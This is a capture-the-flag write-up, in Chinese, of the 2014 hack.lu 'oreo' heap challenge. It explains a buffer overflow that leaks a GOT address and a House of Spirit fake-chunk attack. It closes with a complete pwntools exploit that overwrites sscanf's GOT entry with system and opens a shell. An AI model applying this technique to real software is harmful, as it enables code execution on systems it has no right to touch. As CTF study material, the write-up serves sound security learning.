House Of Spirit 2014 hack.lu oreo

grxer@Ubuntu16:~/Desktop/pwn/heap$ checksec oreo
[*] '/home/grxer/Desktop/pwn/heap/oreo'
Arch: i386-32-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/fastbin-attack/2014_hack.lu_oreo

泄露地址

add函数里存在溢出漏洞

00000000 rifle           struc ; (sizeof=0x38, mappedto_5)
00000000 descript db 25 dup(?)
00000019 name db 27 dup(?)
00000034 next dd ? ; offset
00000038 rifle ends

往name和的script里面都是读了56个字节,都可以溢出

覆盖next为putsgot在show函数里可以在第二次打印时泄露

.text:08048774                 mov     eax, [ebp+var_14]
.text:08048777 mov [esp+4], eax
.text:0804877B mov dword ptr [esp], offset aDescriptionS ; "Description: %s\n"
.text:08048782 call _printf

这里直接把eax里内容next地址放到eax,可以%s解析got打印出来

puts_got=elf.got[‘puts’]
payload1 = b’a’*27+p32(puts_got)
add(b’a’*25,payload1)
show_rifle()

House Of Spirit

这里需要绕过一些检测

  • fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理。
  • fake chunk 地址需要对齐, MALLOC_ALIGN_MASK
  • fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐。
  • fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem
  • fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况。

这里我们可以控制next,可以free(next),可以修改notice,而且notice指针上面就可以控制size大小,天生的伪造,再申请控制0804A2A8

bss:0804A2A4 rifle_cnt       dd ?                    ; DATA XREF: add+C5↑r
.bss:0804A2A4 ; add+CD↑w ...
.bss:0804A2A8 ; char *notice
.bss:0804A2A8 notice dd ? ; DATA XREF: message+23↑r
.bss:0804A2A8 ; message+3C↑r ...

我们申请只能在add函数里面malloc(0x38),也就是说size必须控制为0x38+0x8来申请,这样我们申请0x40个chunk,再控制最后一个next指针指向0804A2A8,这个伪造chunk next域必须为空,防止free chunk->next,这里是往0804A2A8里面的地址0804A2c0去写数据

image-20230318005107301

,padding0x20,即可满足到底下一个fake chunk,将其prev size和size改为满足条件即可

再集体free掉,fastbin先进先出,再次申请一个就可以拿到0804A2A0处的chunk,改写__isoc99_sscanfgot即可

image-20230317234423315

EXP

from pwn import *
from LibcSearcher import *
context(os='linux',arch='i386')
pwnfile='./oreo'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
if args['REMOTE']:
io = remote()
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
p =lambda x,y:success(x+'-->'+hex(y))
def add(descrip, name):
io.sendline('1')
io.sendline(name)
io.sendline(descrip)

def show_rifle():
io.sendline('2')
io.recvuntil('===================================\n')

def order():
io.sendline('3')

def message(notice):
io.sendline('4')
io.sendline(notice)
# db('b *0x08048748')
puts_got=elf.got['puts']
payload1 = b'a'*27+p32(puts_got)
add(b'a'*25,payload1)
show_rifle()
ru(b'Description: ')
ru(b'Description: ')
puts_ad=u32(r(4))
p('puts_ad',puts_ad)
libc=LibcSearcher('puts',puts_ad)
base=puts_ad-libc.dump('puts')
system_addr=base+libc.dump('system')
for i in range(0x3e):
add('a'*25,'a'*27)
payload2 = b'a'*27+p32(0x0804a2a8)
add(b'a'*25,payload2)
payload3 = b'\x00'*0x20+p32(0x41)+p32(0x50)
message(payload3)
order()
gdb.attach(io)

sscanf_got = elf.got['__isoc99_sscanf']
add(p32(sscanf_got),b'a')
# sleep(1)
message(p32(system_addr))
sl(b'/bin/sh\x00')
io.interactive()